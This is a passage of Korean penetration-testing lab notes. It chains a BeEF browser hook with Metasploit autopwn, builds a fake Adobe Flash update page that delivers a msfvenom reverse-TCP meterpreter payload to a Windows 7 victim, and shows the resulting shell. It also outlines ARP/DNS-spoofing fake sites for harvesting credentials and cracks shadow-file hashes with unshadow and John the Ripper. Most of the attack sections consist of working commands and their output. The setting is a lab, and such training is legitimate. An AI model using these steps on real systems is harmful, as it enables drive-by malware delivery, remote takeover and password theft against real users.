        - Redirect Browser 부분에 http://www.google.com 입력
        - 오른쪽 하단 부분에 Execute 선택

(Windows 7)
Redirect 된 웹페이지 확인


-> 임의의 페이지로 Redirect 시킬수 있다는 것을 확인했다.


(복원) 실습이 끝났다면
(windows 7) 크롬 웹 브라우저 종료
(KaliLinux) BeEF UI 종료 후 재부팅
       # reboot






[추가적인 실습] - 2015년 12월30일 현재 정상적으로 실습이 되지 않는다.

BeFF + MSF = 통합
● BeEF와 MSF 사용하여 브라우저 해킹을 시도하고 원격 쉘을 얻는 과정을 이해해 보자.

■ 사용시스템
- KaliLinux
- Windows 7(Chrome 브라우저 사용)


(windows 7)

■ 점검사항
● 윈도우7 방화벽 설정을 내린다.
● Java 보안 설정에 192.168.20.50192.168.20.50:8080 사이트를 신뢰할 수 있는 사이트로 등록한다.


(kaliLinux)

① BeEF 설정 점검 및 필요하면 변경
[TERM1] 첫번째 터미널
# vi /usr/share/beef-xss/config.yaml

..... (중략) .....
    # You may override default extension configuration parameters here
    extension:
        requester:
            enable: true
        proxy:
            enable: true
            key: "beef_key.pem"
            cert: "beef_cert.pem"
        metasploit:
            enable: true             <--- 변경(false -> true)
        social_engineering:
            enable: true
        evasion:
            enable: false
        console:
             shell:
                enable: false
        ipec:
            enable: true
        # this is still experimental, we're working on it..
        dns:
            enable: true

-> 이 파일의 가장 하단 부분(155번 라인)이다.

# vi /usr/share/beef-xss/extensions/metasploit/config.yaml

#
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# Enable MSF by changing extension:metasploit:enable to true
# Then set msf_callback_host to be the public IP of your MSF server
#
# Ensure you load the xmlrpc interface in Metasploit
# msf > load msgrpc ServerHost=IP Pass=abc123
# Please note that the ServerHost parameter must have the same value of host and callback_host variables here below.
# Also always use the IP of your machine where MSF is listening.
beef:
    extension:
        metasploit:
            name: 'Metasploit'
            enable: true
            host: "127.0.0.1"             /* 필요하면: 192.168.20.50 */
            port: 55552
            user: "msf"
            pass: "abc123"
            uri: '/api'
            # if you need "ssl: true" make sure you start msfrpcd with "SSL=y", like:
            # load msgrpc ServerHost=IP Pass=abc123 SSL=y
            ssl: false
            ssl_version: 'TLSv1'
            ssl_verify: true
            callback_host: "127.0.0.1"    /* 필요하면: 192.168.20.50 */
            autopwn_url: "autopwn"
            auto_msfrpcd: false
            auto_msfrpcd_timeout: 120
            msf_path: [
              {os: 'osx', path: '/opt/local/msf/'},
              {os: 'livecd', path: '/opt/metasploit-framework/'},
              {os: 'bt5r3', path: '/opt/metasploit/msf3/'},
              {os: 'bt5', path: '/opt/framework3/msf3/'},
              {os: 'backbox', path: '/opt/backbox/msf/'},
              {os: 'kali', path: '/usr/share/metasploit-framework/'},
              {os: 'pentoo', path: '/usr/lib/metasploit'},
              {os: 'win', path: 'c:\\metasploit-framework\\'},
              {os: 'custom', path: ''}
            ]


② msgrpc plugin 로딩
# msfconsole

IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt


Validate lots of vulnerabilities to demonstrate exposure
with Metasploit Pro -- Learn more on http://rapid7.com/metasploit

       =[ metasploit v4.11.5-2015121501                   ]
+ -- --=[ 1517 exploits - 871 auxiliary - 256 post        ]
+ -- --=[ 436 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > load msgrpc Pass=abc123
[*] MSGRPC Service:  127.0.0.1:55552
[*] MSGRPC Username: msf
[*] MSGRPC Password: abc123
[*] Successfully loaded plugin: msgrpc

-> Pass=abc123 주지 않으면 msgrpc plugin을 실행할때 마다 랜덤하게 암호가 변경이 된다.
-> 만약 랜덤하게 암호가 변경된 경우에는 /usr/share/beef-xss/extensions/metasploit/config.yaml 파일의 암호 부분을 랜덤한 암호로 변경한후 msgrpc 실행해야 한다.
-> 이런 번거로움을 피하기 위해서 msgrpc 실행할 때 Pass=abc123 붙여서 실행하면 된다.
-> msgrpc plugins 파일을 다음 위치에서 확인이 가능하다.
    # cd /usr/share/metasploit-framework/plugins
    # ls
    msgrpc.rb
③ BeEF 실행

    # beef-xss
    or
    # /usr/share/beef-xss/beef -x &
    # firefox http://192.168.20.50:3000/ui/authentication &

[TERM2] 두번째 터미널
# cd /usr/share/beef-xss
# ./beef -x

[11:39:09][*] Bind socket [imapeudora1] listening on [0.0.0.0:2000].
[11:39:09][*] Browser Exploitation Framework (BeEF) 0.4.6.1-alpha
[11:39:09]    |   Twit: @beefproject
[11:39:09]    |   Site: http://beefproject.com
[11:39:09]    |   Blog: http://blog.beefproject.com
[11:39:09]    |_  Wiki: https://github.com/beefproject/beef/wiki
[11:39:09][*] Project Creator: Wade Alcorn (@WadeAlcorn)
[11:39:09][*] Successful connection with Metasploit.
[11:39:14][*] Loaded 292 Metasploit exploits.
[11:39:14][*] Resetting the database for BeEF.
[11:39:16][*] BeEF is loading. Wait a few seconds...
[11:39:31][*] 13 extensions enabled.
[11:39:31][*] 532 modules enabled.
[11:39:31][*] 3 network interfaces were detected.
[11:39:31][+] running on network interface: 127.0.0.1
[11:39:31]    |   Hook URL: http://127.0.0.1:3000/hook.js
[11:39:31]    |_  UI URL:   http://127.0.0.1:3000/ui/panel
[11:39:31][+] running on network interface: 192.168.10.50
[11:39:31]    |   Hook URL: http://192.168.10.50:3000/hook.js
[11:39:31]    |_  UI URL:   http://192.168.10.50:3000/ui/panel
[11:39:31][+] running on network interface: 192.168.20.50
[11:39:31]    |   Hook URL: http://192.168.20.50:3000/hook.js
[11:39:31]    |_  UI URL:   http://192.168.20.50:3000/ui/panel
[11:39:31][*] RESTful API key: a35d98ed0dcc5c8509615ec87f1635529648cba3
[11:39:31][*] HTTP Proxy: http://127.0.0.1:6789
[11:39:31][*] DNS Server: 127.0.0.1:5300 (udp)
[11:39:31]    |   Upstream Server: 8.8.8.8:53 (udp)
[11:39:31]    |_  Upstream Server: 8.8.8.8:53 (tcp)
[11:39:31][*] BeEF server started (press control+c to stop)

-> 장상적으로 실행이 되었다면 "BeEF server started (press control+c to stop)" 메세지가 나온다.
-> Hook URI 와 UI URL 확인한다.

④ Hooked 웹 페이지 생성

[TERM3] 세번째 터미널
hooked 웹페이지 생성시 이전에 사용하던 페이지를 사용해도 된다.
# vi /var/www/html/index.html

<html>
<title> Pentesting</title>
<head> Penetration testing with Kali Linux </head>
<body>
<script src="http://192.168.20.50:3000/hook.js"></script>
<img src="http://d.ibtimes.co.uk/en/full/1427093/anonymous-isis-bitcoin-opisis.jpg?w=736">
</body>
</html>

-> <img src>.... 들어가는 URL은 google.com 에서 이미지 검색(anonymous)을 통해 얻은 결과이다.
or

<HTML>
<BODY>
<CENTER><H1> It works! </H1></CENTER>
<script src="http://192.168.20.50:3000/hook.js"></script>
<P>This is the default web page for this server.</P>
<P>The Web Server software is running but no content has been added, yet.</P>
</BODY>
</HTML>


⑤ apache2 서비스 start
# service apache2 restart

⑥ apache2 서비스 확인
# service apache2 status

● apache2.service - LSB: Apache2 web server
   Loaded: loaded (/etc/init.d/apache2)
   Active: active (running) since 수 2015-12-30 10:21:08 KST; 4s ago
  Process: 1864 ExecStart=/etc/init.d/apache2 start (code=exited, status=0/SUCCESS)
   CGroup: /system.slice/apache2.service
           ├─1885 /usr/sbin/apache2 -k start
           ├─1889 /usr/sbin/apache2 -k start
           ├─1890 /usr/sbin/apache2 -k start
           ├─1891 /usr/sbin/apache2 -k start
           ├─1892 /usr/sbin/apache2 -k start
           ├─1893 /usr/sbin/apache2 -k start
           └─1894 /usr/sbin/apache2 -k start

12월 30 10:21:08 kali apache2[1864]: Starting web server: apache2.


⑦ firefox를 통해 BeEF UI를 실행한다.
# firefox http://192.168.20.50:3000/ui/panel &

    로그인시 아이디/패스워드
    ID: beef
    PASS: beef


(windows 7)

⑧ 윈도우에서 192.168.20.50 사이트에 접속한다.

Chrome 브라우저를 사용하여 다음 사이트에 접속한다.
- http://192.168.20.50

그럼 브라우저가 후킹이 된다.


(KaliLinux)

⑨ BeEF에 Loading 된 metasploit module 목록을 확인

■ victim 시스템의 브라우저 정보를 확인한다.
    Hooked Browsers > Online Browsers > 192.168.20.50 > 192.168.20.202
        Details 탭 > "Category: Browser" > "Browser UA String" 부분을 확인한다.

Broswer UA String: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36


■ 로딩된 Metasploit modules 목록을 확인한다.
    Hooked Browsers > Online Browsers > 192.168.20.50 > 192.168.20.202
        Commands 탭 > Module Tree > Metasploit(583)
            로딩된 metasploit module 목록 확인


⑩ autopwn 실행

[TERM1] 첫번째 터미널

msf > search autopwn

Matching Modules
================

   Name                               Disclosure Date  Rank    Description
   ----                               ---------------  ----    -----------
   auxiliary/server/browser_autopwn                    normal  HTTP Client Automatic Exploiter
   auxiliary/server/browser_autopwn2  2015-07-05       normal  HTTP Client Automatic Exploiter 2 (Browser Autopwn)

msf > use auxiliary/server/browser_autopwn
msf auxiliary(browser_autopwn) > show options

Module options (auxiliary/server/browser_autopwn):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   LHOST                     yes       The IP address to use for reverse-connect payloads
   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)


Auxiliary action:

   Name       Description
   ----       -----------
   WebServer  Start a bunch of modules and direct clients to appropriate exploits

msf auxiliary(browser_autopwn) > set LHOST 192.168.20.50
LHOST => 192.168.20.50
msf auxiliary(browser_autopwn) > set SRVHOST 192.168.20.50
SRVHOST => 192.168.20.50
msf auxiliary(browser_autopwn) > set URIPATH /
URIPATH => /
msf auxiliary(browser_autopwn) > show options

Module options (auxiliary/server/browser_autopwn):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   LHOST    192.168.20.50    yes       The IP address to use for reverse-connect payloads
   SRVHOST  192.168.20.50    yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH  /                no        The URI to use for this exploit (default is random)


Auxiliary action:

   Name       Description
   ----       -----------
   WebServer  Start a bunch of modules and direct clients to appropriate exploits

msf auxiliary(browser_autopwn) > exploit
[*] Auxiliary module execution completed

[*] Setup
[*] Starting exploit modules on host 192.168.20.50...
[*] ---

[*] Starting exploit android/browser/webview_addjavascriptinterface with payload android/meterpreter/reverse_tcp[*] Using URL: http://192.168.20.50:8080/UqUY
[*] Server started.
[*] Starting exploit multi/browser/firefox_proto_crmfrequest with payload generic/shell_reverse_tcp
[*] Using URL: http://192.168.20.50:8080/oXYTnoHftX
[*] Server started.
[*] Starting exploit multi/browser/firefox_tostring_console_injection with payload generic/shell_reverse_tcp
[*] Using URL: http://192.168.20.50:8080/QnfPsrs
[*] Server started.
[*] Starting exploit multi/browser/firefox_webidl_injection with payload generic/shell_reverse_tcp
[*] Using URL: http://192.168.20.50:8080/wgupGPJiQjLo
[*] Server started.
[*] Starting exploit multi/browser/java_atomicreferencearray with payload java/meterpreter/reverse_tcp
[*] Using URL: http://192.168.20.50:8080/SLiBeHzfmtIyI
[*] Server started.
[*] Starting exploit multi/browser/java_jre17_jmxbean with payload java/meterpreter/reverse_tcp
[*] Using URL: http://192.168.20.50:8080/kqeTeddw
[*] Server started.
[*] Starting exploit multi/browser/java_jre17_provider_skeleton with payload java/meterpreter/reverse_tcp
[*] Using URL: http://192.168.20.50:8080/wgeUVsbUeAM
[*] Server started.
[*] Starting exploit multi/browser/java_jre17_reflection_types with payload java/meterpreter/reverse_tcp
[*] Using URL: http://192.168.20.50:8080/sDkCueKug
[*] Server started.
[*] Starting exploit multi/browser/java_rhino with payload java/meterpreter/reverse_tcp
[*] Using URL: http://192.168.20.50:8080/NeianHITATMi
[*] Server started.
[*] Starting exploit multi/browser/java_verifier_field_access with payload java/meterpreter/reverse_tcp
[*] Using URL: http://192.168.20.50:8080/mRmRngPFvtJk
[*] Server started.
[*] Starting exploit multi/browser/opera_configoverwrite with payload generic/shell_reverse_tcp
[*] Using URL: http://192.168.20.50:8080/xUwLHVJ
[*] Server started.
[*] Starting exploit windows/browser/adobe_flash_mp4_cprt with payload windows/meterpreter/reverse_tcp
[*] Using URL: http://192.168.20.50:8080/wlVjIArnOSoK
[*] Server started.
[*] Starting exploit windows/browser/adobe_flash_rtmp with payload windows/meterpreter/reverse_tcp
[*] Using URL: http://192.168.20.50:8080/EJTBnigv
[*] Server started.
[*] Starting exploit windows/browser/ie_cgenericelement_uaf with payload windows/meterpreter/reverse_tcp
[*] Using URL: http://192.168.20.50:8080/jStcaXwtjFBHe
[*] Server started.
[*] Starting exploit windows/browser/ie_createobject with payload windows/meterpreter/reverse_tcp
[*] Using URL: http://192.168.20.50:8080/wgwaXjOzG
[*] Server started.
[*] Starting exploit windows/browser/ie_execcommand_uaf with payload windows/meterpreter/reverse_tcp
[*] Using URL: http://192.168.20.50:8080/hEZoSgmSh
[*] Server started.
[*] Starting exploit windows/browser/mozilla_nstreerange with payload windows/meterpreter/reverse_tcp
[*] Using URL: http://192.168.20.50:8080/xxuENMVhmF
[*] Server started.
[*] Starting exploit windows/browser/ms13_080_cdisplaypointer with payload windows/meterpreter/reverse_tcp
[*] Using URL: http://192.168.20.50:8080/nZmi
[*] Server started.
[*] Starting exploit windows/browser/ms13_090_cardspacesigninhelper with payload windows/meterpreter/reverse_tcp
[*] Using URL: http://192.168.20.50:8080/yDBAQiRN
[*] Server started.
[*] Starting exploit windows/browser/msxml_get_definition_code_exec with payload windows/meterpreter/reverse_tcp
[*] Using URL: http://192.168.20.50:8080/LxqBXAzEx
[*] Server started.
[*] Starting handler for windows/meterpreter/reverse_tcp on port 3333
[*] Starting handler for generic/shell_reverse_tcp on port 6666
[*] Started reverse handler on 192.168.20.50:3333
[*] Starting the payload handler...
[*] Starting handler for java/meterpreter/reverse_tcp on port 7777
[*] Started reverse handler on 192.168.20.50:6666
[*] Starting the payload handler...
[*] Started reverse handler on 192.168.20.50:7777
[*] Starting the payload handler...

[*] --- Done, found 20 exploit modules

[*] Using URL: http://192.168.20.50:8080/
[*] Server started.

-> 시간이 걸린다.(약 2분 ~ 5분 정도)
-> 정상적으로 실행이 되면 "Server started." 메세지가 보인다.


⑪ 클라이언트의 브라우저를 Hooked 웹페이지로 Redirect

BeEF 브라우저에서

Hooked Browsers > Online Browsers > 192.168.20.50 > 192.168.20.202
    Commands 탭 > Module Tree > Browser > Hooked Domain
        Redirect Browser 선택
            Redirect Browser 탭에서 다음 정보 입력
            - Redirect URL : http://192.168.20.50:8080
            - 오른쪽 하단의 "Excute" 선택





(windows 7)
웹 브라우저를 확인하면 다음과 같은 화면이 나올것이다.



(KaliLinux)

[TERM1] 첫번째 터미널
-> 세션이 연결되었다는 메세지가 나올것이다.
-> 2015년 12월30일 현재
   - firefox 최신판
   - chrome 최신판
   - IE 8 버전
   에 대해서 테스트한 결과 셀 연결이 되고 있지는 않는것으로 나온다.
-> 이 부분에 대해서는 metasploit 업데이트가 된 이후에 다시 테스트 해 봐야 할것 같다.









[추가적인 실습]

■ Fake Update Site 구축

(KaliLinux)

① 클라이언트에 설치할 payload 생성
[TERM1] 첫번째 터미널
# cd /var/www/html
# msfvenom \
-p windows/meterpreter/reverse_tcp LHOST=192.168.20.50 LPORT=4444 \
-f exe \
-o payload.exe

No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Saved as: payload.exe


# ls

index.html  payload.exe


# file payload.exe

payload.exe: PE32 executable (GUI) Intel 80386, for MS Windows


② 브라우저 후킹을 위한 beef 실행

    (선수작업) beef-xss 실행하기 전의 선수작업
    # mfsconsole
         msf> load msgrpc Pass=abc123

# cd /usr/share/beef-xss
# ./beef -x

[17:42:33][*] Bind socket [imapeudora1] listening on [0.0.0.0:2000].
[17:42:34][*] Browser Exploitation Framework (BeEF) 0.4.6.1-alpha
[17:42:34]    |   Twit: @beefproject
[17:42:34]    |   Site: http://beefproject.com
[17:42:34]    |   Blog: http://blog.beefproject.com
[17:42:34]    |_  Wiki: https://github.com/beefproject/beef/wiki
[17:42:34][*] Project Creator: Wade Alcorn (@WadeAlcorn)
[12:36:56][*] Successful connection with Metasploit.
[12:36:59][*] Loaded 292 Metasploit exploits.
[17:42:34][*] Resetting the database for BeEF.
[17:42:35][*] BeEF is loading. Wait a few seconds...
[17:42:42][*] 13 extensions enabled.
[17:42:42][*] 241 modules enabled.
[17:42:42][*] 3 network interfaces were detected.
[17:42:42][+] running on network interface: 127.0.0.1
[17:42:42]    |   Hook URL: http://127.0.0.1:3000/hook.js
[17:42:42]    |_  UI URL:   http://127.0.0.1:3000/ui/panel
[17:42:42][+] running on network interface: 192.168.10.50
[17:42:42]    |   Hook URL: http://192.168.10.50:3000/hook.js
[17:42:42]    |_  UI URL:   http://192.168.10.50:3000/ui/panel
[17:42:42][+] running on network interface: 192.168.20.50
[17:42:42]    |   Hook URL: http://192.168.20.50:3000/hook.js
[17:42:42]    |_  UI URL:   http://192.168.20.50:3000/ui/panel
[17:42:42][*] RESTful API key: 70eb1ff6c875ee46f110719f26ae0c7014763fea
[17:42:42][*] HTTP Proxy: http://127.0.0.1:6789
[17:42:42][*] DNS Server: 127.0.0.1:5300 (udp)
[17:42:42]    |   Upstream Server: 8.8.8.8:53 (udp)
[17:42:42]    |_  Upstream Server: 8.8.8.8:53 (tcp)
[17:42:42][*] BeEF server started (press control+c to stop)

-> 에러메세지는 무시한다. (현재 실습에서는 상관이 없다.)
-> [참고] 에러메세지(다음과 같은 메세지가 나오는 경우의 제어)
   [17:42:34][!] API Fire Error: authentication failed in     
   {:owner=>BeEF::Extension::Metasploit::API::MetasploitHooks, :id=>12}.post_soft_load()
   [TERM2] # mfsconsole
           msf> load msgrpc Pass=abc123
   [TERM1] # cd /usr/share/beef-xss ; ./beef -x

③ msfconsole 실행
[TERM1] 두번째 터미널
# msfconsole

msf > use exploit/multi/handler
msf exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

msf exploit(handler) > set LHOST 192.168.20.50
LHOST => 192.168.20.50
msf exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.20.50    yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.20.50:4444
[*] Starting the payload handler...


④ Fake download site 구축
[TERM3] 세번째 터미널
# vi /var/www/html/index.html

<DOCTYPE html>
<html>
<head>
<title>Adobe flash</title>
<script src="http://192.168.20.50:3000/hook.js"></script>
</head>
<body><center>
<img src="adobe.jpg" alt="adobe" width="204" length="204">
<p>
<input type="button" name="btnDownload" value="Update" onclick="window.open('payload.exe','download') return false;"/>
</p>
</body>
</html>


/var/www/html/adobe.jpg 파일을 하나 만들어 놓는다.
-> firefox 실행하고
   www.google.com 검색 부분에서 "adobe flash palyer" 검색하고
   적당한 이미지를 찾아
   /var/www/html 디렉토리에 adobe.jpg 이름으로 다운로드 한다. (!!! 파일 이름/확장자 주의 !!!)

# service apache2 restart
# service apache2 status

⑤ beef 접속
# firefox http://192.168.20.50:3000/ui/panel &
ID/PASS: beef/beef


(windows 7)

⑥ 클라이언트(windows7 chrome browser)에서 192.168.20.50 접속

Chrome 브라우저를 사용하여 접속한다.
- http://192.168.20.50
- 그럼 브라우저 후킹이 된다.





(KaliLinux)

⑦ Fake Flash Update 실행

beEF 브라우저에서

    Hooked Browsers > Online Browsers > 192.168.20.50 > 192.168.20.201
        Commands 탭 > Social Engineering > Fake Flash Update >
            Fake Flash Update 입력란에
            - Image: http://192.168.20.50:3000/adobe/flash_update.png
            - Payload: Custom_Payload
            - Custom Payload URL: http://192.168.20.50/payload.exe
            - Execute 선택

(windows 7)
⑧ 윈도우에서 확인

이미지를 선택하면 자동으로 프로그램이 다운로드 된다.

다운로드가 완료된 payload.exe 실행한다.






(KaliLinux)

[TERM1] 두번째 터미널
⑨ meterpreter 실행

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.20.50:4444
[*] Starting the payload handler...
[*] Sending stage (957487 bytes) to 192.168.20.202
[*] Meterpreter session 1 opened (192.168.20.50:4444 -> 192.168.20.202:49348) at 2015-12-30 18:05:11 +0900

meterpreter > sysinfo
Computer        : SOLDESK-PC
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64 (Current Process is WOW64)
System Language : ko_KR
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/win32
meterpreter > getuid
Server username: soldesk-PC\soldesk

meterpreter >

-> 여러가지 명령어를 수행해 본다.





[정리]
(실습1) Fake Site 구성
    -> (목적) ID/PASS 수집(http://192.168.20.50)
(실습2) Fake Site 구성
    -> (목적) 악성 프로그램 설치(백도어)(http://192.168.20.50)
(실습3) Fake Email 전송
    -> (목적) 악성 프로그램 설치(백도어)
(실습4) XSS
    -> (목적) 악성 프로그램 설치(백도어)(http://192.168.20.50)


[실습] Fake Site 구성(제한 시간: 30분)

    DNS Spoofing/Arp Spoofing : ettercap
        +
    Fake Web Site : SETookit(실습2)
        +
    문자메세지/메일 보내기: SETookit

    (실습 시스템)
    Victim system : windows 7(192.168.20.202)
    Attack system : KaliLinux(192.168.20.50)
    Router : firewall.example.com(192.168.20.100)

    (windows 7 system) 결과 확인
    http://www.google.com -> http://192.168.20.50/(악성코드)

[실습] Fake Site 구성2(제한 시간: 30분)
    DNS Spoofing/Arp Spoofing : ettercap
        +
    Fake Web Site : BeEF + 직접작업

    (실습 시스템)
    Victim system : windows 7(192.168.20.202)
    Attack system : KaliLinux(192.168.20.50)
    Router : firewall.example.com(192.168.20.100)

    (windows 7 system) 결과 확인
    http://www.adobe.com -> http://192.168.20.50/(악성코드)

    
    
    
[실습] 칼리 리눅스 사용하기(online/offline passowrd crack)

암호 클랙 방법의 종류
● 추측 공격하기(Guess, Manually guess using information obtained about a target)
● 기본 암호를 사용하기(Default password attack, The device has default password, such as router)
● 사전 파일 사용 공격(Dictionary attack, Use an automated attack that tries all the possible dictionary words)
● 무작위 대입 공격(Brute-force, Try all the possible character combinations)
● 하이브리드 공격(Hybrid, Combining dictionary with brute-force)

암호 클랙 공격의 종류
● Offline Password Crack Attack(Local Password Attack)
● Online Password Crack Attack(Remote Password Attack)





● 오프라인(Offline) 패스워드 크랙(Crack)하기(Local Password Attack)
● John The Ripper 툴을 사용해 보자

    ■ 프로그램 실행하는 방법
    Kalilinux > Password Attacks > Offline Attacks > john
    or
    # john


(KaliLinux)

    ■ 사용자 추가 방법
    (RedHat 계열) # useradd user01 ; passwd user01
    (Debian 계열) # useradd -m -s /bin/bash user01 ; passwd user01

    ■ 기본 사용자 암호 변경
    (root 사용자의 암호   : toor)          # passwd root
    (user01 사용자의 암호 : user01)        # passwd user01
    (hacker 사용자의 암호 : h4ckEr1.)     # useradd -m -s /bin/bash hacker ; passwd hacker

# cat /etc/passwd | grep --color root

root:x:0:0:root:/root:/bin/bash


# cat /etc/shadow | grep --color root

root:$6$WEVVa8qf$Q9ERxWghMVy/KNq3xK9Ge7P.6dDpow0G8kT62W3DIcnCMC7ZOpX.i/SOuW0GHqPiN8YH1qfgOXoShMvsgORYb.:16258:0:99999:7:::


    암호화 알고리즘($6$)
    salt key($WEVVa8qf$)
    암호화된 암호($Q9ERxWghMVy/KNq3xK9Ge7P.....)

    # man shadow
           encrypted password
               Refer to crypt(3) for details on how this string is interpreted.
    # man 3 crypt
         ──+─────────────────────────
              ID  | Method
              ──+─────────────────────────
              1   | MD5
              2a  | Blowfish (not in mainline glibc; added in some
                  | Linux distributions)
              5   | SHA-256 (since glibc 2.7)
              6   | SHA-512 (since glibc 2.7)
         ──+─────────────────────────

# ls -l /etc/passwd /etc/shadow

-rw-r--r-- 1 root root   2213  7월 22 17:15 /etc/passwd
-rw-r----- 1 root shadow 1573  7월 22 17:15 /etc/shadow


# john

John the Ripper password cracker, ver: 1.7.9-jumbo-7_omp [linux-x86-sse2]
Copyright (c) 1996-2012 by Solar Designer and others
Homepage: http://www.openwall.com/john/

Usage: john [OPTIONS] [PASSWORD-FILES]
--config=FILE             use FILE instead of john.conf or john.ini
--single[=SECTION]        "single crack" mode
--wordlist[=FILE] --stdin wordlist mode, read words from FILE or stdin
                  --pipe  like --stdin, but bulk reads, and allows rules
--loopback[=FILE]         like --wordlist, but fetch words from a .pot file
--dupe-suppression        suppress all dupes in wordlist (and force preload)
--encoding=NAME           input data is non-ascii (eg. UTF-8, ISO-8859-1).
                          For a full list of NAME use --list=encodings
--rules[=SECTION]         enable word mangling rules for wordlist modes
--incremental[=MODE]      "incremental" mode [using section MODE]
--markov[=OPTIONS]        "Markov" mode (see doc/MARKOV)
--external=MODE           external mode or word filter
--stdout[=LENGTH]         just output candidate passwords [cut at LENGTH]
--restore[=NAME]          restore an interrupted session [called NAME]
--session=NAME            give a new session the NAME
--status[=NAME]           print status of a session [called NAME]
--make-charset=FILE       make a charset file. It will be overwritten
--show[=LEFT]             show cracked passwords [if =LEFT, then uncracked]
--test[=TIME]             run tests and benchmarks for TIME seconds each
--users=[-]LOGIN|UID[,..] [do not] load this (these) user(s) only
--groups=[-]GID[,..]      load users [not] of this (these) group(s) only
--shells=[-]SHELL[,..]    load users with[out] this (these) shell(s) only
--salts=[-]COUNT[:MAX]    load salts with[out] COUNT [to MAX] hashes
--pot=NAME                pot file to use
--format=NAME             force hash type NAME: afs bf bfegg bsdi crc32 crypt
                          des django dmd5 dominosec dragonfly3-32 dragonfly3-64
                          dragonfly4-32 dragonfly4-64 drupal7 dummy dynamic_n
                          epi episerver gost hdaa hmac-md5 hmac-sha1
                          hmac-sha224 hmac-sha256 hmac-sha384 hmac-sha512
                          hmailserver ipb2 keepass keychain krb4 krb5 lm lotus5
                          md4-gen md5 md5ns mediawiki mscash mscash2 mschapv2
                          mskrb5 mssql mssql05 mysql mysql-sha1 nethalflm netlm
                          netlmv2 netntlm netntlmv2 nsldap nt nt2 odf office
                          oracle oracle11 osc pdf phpass phps pix-md5 pkzip po
                          pwsafe racf rar raw-md4 raw-md5 raw-md5u raw-sha
                          raw-sha1 raw-sha1-linkedin raw-sha1-ng raw-sha224
                          raw-sha256 raw-sha384 raw-sha512 salted-sha1 sapb
                          sapg sha1-gen sha256crypt sha512crypt sip ssh
                          sybasease trip vnc wbb3 wpapsk xsha xsha512 zip
--list=WHAT               list capabilities, see --list=help or doc/OPTIONS
--save-memory=LEVEL       enable memory saving, at LEVEL 1..3
--mem-file-size=SIZE      size threshold for wordlist preload (default 5 MB)
--nolog                   disables creation and writing to john.log file
--crack-status            emit a status line whenever a password is cracked
--max-run-time=N          gracefully exit after this many seconds
--regen-lost-salts=N      regenerate lost salts (see doc/OPTIONS)
--plugin=NAME[,..]        load this (these) dynamic plugin(s)


    [참고] 사용자 추가 방법의 비교
    (RedHat 계열) # useradd user01
             # passwd user01
    (Debian 계열) # useradd -m -s /bin/bash user01 /* -m : make directory, -s : shell */
             # passwd user01
# useradd -m -s /bin/bash user01
# passwd user01

새 UNIX 암호 입력: (user01)
새 UNIX 암호 재입력: (user01)
passwd: 암호를 성공적으로 업데이트했습니다


# useradd -m -s /bin/bash hacker
# passwd hacker

새 UNIX 암호 입력: (h4ckEr1.)
새 UNIX 암호 재입력: (h4ckEr1.)
passwd: 암호를 성공적으로 업데이트했습니다


# cd /root/bin
# unshadow /etc/passwd /etc/shadow
-> 출력 내용 생략
# unshadow /etc/passwd /etc/shadow | egrep '(^root|^user01)' > passwd.txt
# unshadow /etc/passwd /etc/shadow | egrep '(^root|^user01|^hacker)' > passwd2.txt

# cat passwd.txt

root:$6$WEVVa8qf$Q9ERxWghMVy/KNq3xK9Ge7P.6dDpow0G8kT62W3DIcnCMC7ZOpX.i/SOuW0GHqPiN8YH1qfgOXoShMvsgORYb.:0:0:root:/root:/bin/bash
user01:$6$imj7YGai$xuWGmzdiO6wL3isEmuY4u8x0zMvmVykX0zevARtUPdlFiIu.wWg8kvvUiEvadJxkguQLCdYW1LBtz79nYMH0h.:1000:1001::/home/user01:/bin/sh


# cat passwd2.txt

